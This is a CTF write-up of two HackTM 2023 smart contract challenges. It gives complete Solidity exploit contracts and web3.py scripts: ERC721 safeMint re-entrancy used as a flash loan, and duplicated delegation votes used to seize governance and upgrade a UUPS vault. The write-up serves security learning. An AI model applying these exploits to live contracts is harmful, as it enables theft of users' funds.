<-->

I solved 2 out of 2 smart contract challenges in HackTM CTF Quals 2023.

 


 

Dragon Slayer

https://github.com/kangsangsoo/CTF-Writeups/blob/main/dragon_slayer_contracts.zip

Analysis

  • We should fight against Dragon.
  • Knight's sword and shield are very very weak. 
  • We can purchase some equips through shop.
  • The equips that make us win against Dragon is very very expensive. (We have only 10 ether, but they are 1_000_000 ether)
  • There is Bank and it could be helpful to make money.

 

 

Root Cause

BankNote inherites ERC721 and use _safeMint() in mint() of BankNote.

    function mint(address to, uint256 tokenId) public onlyOwner {
        _safeMint(to, tokenId); // why safeMint?
    }

 

It is known that _safeMint() of ERC721 is vulnerable to re-entrancy attack because it calls onERC721Received() which behaves like callback. In addition, contracts of challenge do not have modifiers that protect them from re-entrancy.

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L247

 

 

 

Exploit

In Bank.sol, the number of bankNote.mint() call is three.

Among them, I chose split() because it is not implemented correctly Checks Effects Interaction.

 

        for (uint i = 0; i < amounts.length; i++) {
            uint value = amounts[i];

            _ids.increment();
            uint bankNoteId = _ids.current();

            bankNote.mint(msg.sender, bankNoteId); // re
            bankNoteValues[bankNoteId] = value; 
            totalValue += value;
        }

        require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");

 

Part1 - mint a banknote whose amount is zero.

At merge() of Bank.sol, when bankNoteIdsFrom is empty array, it would mint a banknote whose amount is zero.

 

 

Part2 - flashloan through split

By writing the internal code of onERC721Received() which do re-entrancy, split() can achieve the same effect as flashloan. 

For example, assuming that amounts = [1_000_000 ether, 0] and when only i = 1, we catch the callback, we can send 1_000_000 ether to bankNoteValues[BankNoteIdFrom] by transferPartial() before exiting the callback.

Then, we can bypass require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");

This mechanism is very similar to flash loan.

 

Part3 - Summary

  1. flashloan through split()
  2. transform BankNote to GoldCoin
  3. purchases equips whose price 1_000_000 ether
  4. fight agianst Dragon
  5. sell equips that bought for fight
  6. transfrom GoldCoin to BankNote 
  7. repay BankNote through transferPartial()

 

 

 

Attack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import "./openzeppelin-contracts/access/Ownable.sol";

import "./Shop.sol";
import "./Bank.sol";
import "./Dragon.sol";
import "./Setup.sol";
import "./Knight.sol";
import "./GoldCoin.sol";

contract Attack {

    Bank public bank;
    Setup public setup;
    Knight public knight;
    GoldCoin public goldCoin;

    constructor(address _bank, address _setup, address _knight, address _goldCoin) {
        knight = Knight(_knight);
        setup = Setup(_setup);
        bank = Bank(_bank);
        setup.claim();
        goldCoin = GoldCoin(_goldCoin);
    }

    function attack1() public {
        bank.merge(new uint[](0)); // id = 1
        uint[] memory mem = new uint[](3);
        mem[0] = 2_000_000 ether; // id = 2
        mem[1] = 0; // id = 3
        mem[2] = 0; // id = 4
        bank.split(1, mem); 
    }

    function onERC721Received(address a, address b, uint256 c, bytes calldata d) public returns (bytes4) {
        if(c==3) {
            bank.withdraw(2);

            GoldCoin(goldCoin).transfer(address(knight), 2_000_000 ether);

            knight.buyItem(3);
            knight.buyItem(4);

            knight.fightDragon();
            knight.fightDragon();

            knight.sellItem(3);
            knight.sellItem(4);

            knight.bankDeposit(2_000_000 ether); // id = 4
            knight.bankTransferPartial(4, 2_000_000 ether, 1);
        }
        return this.onERC721Received.selector;
    }

    function onERC1155Received(address, address, uint256, uint256, bytes calldata) public pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}

 

attack.py

import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30101/5f4f62c4-5ae8-40ec-9649-5c05deb6b47d"))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x91a200bc38507358c63cbe8e79531065367a33353500da205b2992267fe0eb01'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

SETUP = "0x785ed095a7B38aD8ef99675dCB7452cAA10B9483"
KNIGHT = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(SETUP, 0)[12:])))

def bank():
    f = open('knight_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=KNIGHT, abi=abi)
    func_call = contract.functions.bank().call()
    return func_call   

def goldcoin():
    f = open('bank_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=BANK, abi=abi)
    func_call = contract.functions.goldCoin().call()
    return func_call 

def attack_deploy():
    f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
    f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(BANK, SETUP, KNIGHT, GOLDCOIN).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def attack():
    f = open('attack_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=ATTACK, abi=abi)
    func_call = contract.functions["attack1"]().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

BANK = bank()
GOLDCOIN = goldcoin()
ATTACK = attack_deploy()
attack()

 

 

 

HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}

 

 


 

Diamond Heist

https://github.com/kangsangsoo/CTF-Writeups/blob/main/diamond_heist_contracts.zip

Analysis

  • We should make diamond Vault to Setup contract
  • Vault contract inherits UUPSUpgradeable.
  • Vault contract's governance consists of SaltyPretzel's voting utils.
  • Vault contract has flashloan function.
  • Vault contract overrides _authorizeUpgrade()

 

Root Cause

It is well-known bug called sushi-swap double spending bug

https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f

 

The voting power do not move when token is transferred. 

When first called delegate(), currentDelegate becomes 0 in _delegate(), which causes it to pass the first if statement in _moveDelegate() and only enter the second.

So we can concentrate voting power in one address by continuously transferring tokens to a new wallet.

 

 

Exploit

 

Part 1 - charging voting power 

I prepared private keys over 100 and charged my voting power.

 

Flow of token

0 > 1 > 2 > ... > 99 > 100 > 101 ..

 

Flow of voting power

0 > ME, 1 > ME, 2 > ME, ..., 100 > ME, 101 > ME

 

 

web3py

pk = hex(1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)

for i in range(1, 110):
    pk = hex(i).ljust(66, "0")
    nxt_pk = hex(i+1).ljust(66, "0")
    addr=w3.eth.account.from_key(pk).address
    nxt_addr=w3.eth.account.from_key(nxt_pk).address
    transfer(addr, nxt_addr, pk)
    send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i)) 
    delegate(nxt_addr, Attack, nxt_pk)

 

 

Part 2 - upgrade implement contract address

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/UUPSUpgradeable.sol#L68

 

If we satisfy below require statement, we could change implementation address.

    function _authorizeUpgrade(address) internal override view {
        require(msg.sender == owner() || msg.sender == address(this));
        require(IERC20(diamond).balanceOf(address(this)) == 0);
    }

 

First, we should new implement contract code for transferring diamond from Vault to me.

I wrote new_implement.sol by adding Vault.sol to transfer function 

// ...
// vault.sol 
	function transfer(address to, uint amount) external {
        diamond.transfer(to, amount);
    }
// ...
// ...

 

Beforehand, I deployed this contract on blockchain.

And I executed flashloan() of Vault to make vault's balance of diamond zero, then we re-enter governanceCall() through callback of onFlashloan().

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
            vault.governanceCall(abi.encodeWithSignature("upgradeTo(address)", new_impl));
            IERC20(diamond).transfer(address(vault), 100);
    }

 

 

 

Part3 - exploit diamond

 

Just execute transfer() that we generated by upgradeTo()

vault.governanceCall(abi.encodeWithSignature("transfer(address,uint256)", setup, 100));

 

 

 

 

Attack.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./VaultFactory.sol";
import "./Vault.sol";
import "./Diamond.sol";
import "./SaltyPretzel.sol";
import "./Setup.sol";
import "./SaltyPretzel.sol";
import "./openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol";

contract Attack is IERC3156FlashBorrower{
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    address setup;
    Vault public vault;
    Diamond public diamond;
    SaltyPretzel public saltyPretzel;
    address new_impl;
    constructor(address _to, address _setup, address _vault, address _diamond, address _saltyPretzel, address _new_impl) {
        setup = _setup;
        Setup(_setup).claim();
        vault = Vault(_vault);
        diamond = Diamond(_diamond);
        saltyPretzel = SaltyPretzel(_saltyPretzel);
        saltyPretzel.transfer(_to, 100 ether);
        new_impl = _new_impl;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
            vault.governanceCall(abi.encodeWithSignature("upgradeTo(address)", new_impl));
            IERC20(diamond).transfer(address(vault), 100);
    }

    uint public step = 0;
    function attack1() public {
        if(step==0) vault.flashloan(address(diamond), 100, address(this));
        if(step==1) vault.governanceCall(abi.encodeWithSignature("transfer(address,uint256)", setup, 100));
        step += 1;

    }
}

 

 

attack.py

import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
# r = remote("34.141.16.87", 30200)
# r.sendlineafter("action", "1")

w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327"))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x7f26c94f0ef1686a66825e465f13d526f5a10b26d69ecc19806caeacdc9b9ca5'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

Setup = "0x96B2D47F07Cf1eb6c1391dB72C0632dD0E4fAEf4"
Vault = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 1))))
Diamond = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 2))))
SaltyPretzel = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 3))))

def balance():
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions.balanceOf(myAddr).call()
    print(func_call)

def deploy_new_impl():
    f = open("new_impl_abi", "r"); contract_abi= f.read(); f.close()
    f = open("new_impl_bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor().buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def init():
    f = open('new_impl_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=New_impl, abi=abi)
    func_call = contract.functions["initialize"](Diamond, SaltyPretzel).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def deploy_attack():
    f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
    f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(myAddr, Setup, Vault, Diamond, SaltyPretzel, New_impl).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def attack():
    f = open('attack_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=Attack, abi=abi)
    func_call = contract.functions.attack1().buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def transfer(_from, _to, _prikey):
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions.transfer(_to, 100 * 10 ** 18).buildTransaction({
        "from": _from,
        "nonce": w3.eth.get_transaction_count(_from),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def delegate(_from, _to, _prikey):
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions["delegate"](_to).buildTransaction({
        "from": _from,
        "nonce": w3.eth.get_transaction_count(_from),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

New_impl = deploy_new_impl()
init()

Attack = deploy_attack()

pk = hex(1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)

for i in range(1, 110):
    pk = hex(i).ljust(66, "0")
    nxt_pk = hex(i+1).ljust(66, "0")
    addr=w3.eth.account.from_key(pk).address
    nxt_addr=w3.eth.account.from_key(nxt_pk).address
    transfer(addr, nxt_addr, pk)
    send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i)) 
    delegate(nxt_addr, Attack, nxt_pk)

attack()
attack()

 

 

 

 

 

 

HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}

+ Recent posts